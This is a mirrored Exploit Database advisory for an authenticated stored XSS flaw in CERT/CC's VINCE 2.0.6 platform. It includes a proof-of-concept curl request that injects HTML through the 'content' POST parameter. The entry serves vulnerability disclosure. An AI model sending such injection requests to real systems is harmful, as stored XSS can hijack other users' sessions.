CMU CERT/CC VINCE 2.0.6 – Stored XSS

• Exploit Database
• 30 阅读

• 作者： LiquidWorm
  日期： 2025-04-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52181/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  # Exploit Tile: CMU CERT/CC VINCE 2.0.6 - Stored XSS # Vendor: Carnegie Mellon University # Product web page: https://www.kb.cert.org/vince/ # Affected version: <=2.0.6   Summary: VINCE is the Vulnerability Information and Coordination Environment developed and used by the CERT Coordination Center to improve coordinated vulnerability disclosure. VINCE is a Python-based web platform.   Desc: The framework suffers from an authenticated stored cross-site scripting vulnerability. Input passed to the &apos;content&apos; POST parameter is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML/JS code in a user&apos;s browser session in context of an affected site.   Tested on: nginx/1.20.0 Django 3.2.17     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2025-5917 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5917.php     13.01.2023   --     $ curl -k https://kb.cert.org/vince/comm/post/CASE_NO \ > -H "Cookie: sessionid=xxxx" \ > -d &apos;content="><marquee>ZSL</marquee>%0A%0A&csrfmiddlewaretoken=xxx&paginate_by=10&reply_to=xxxxx&apos;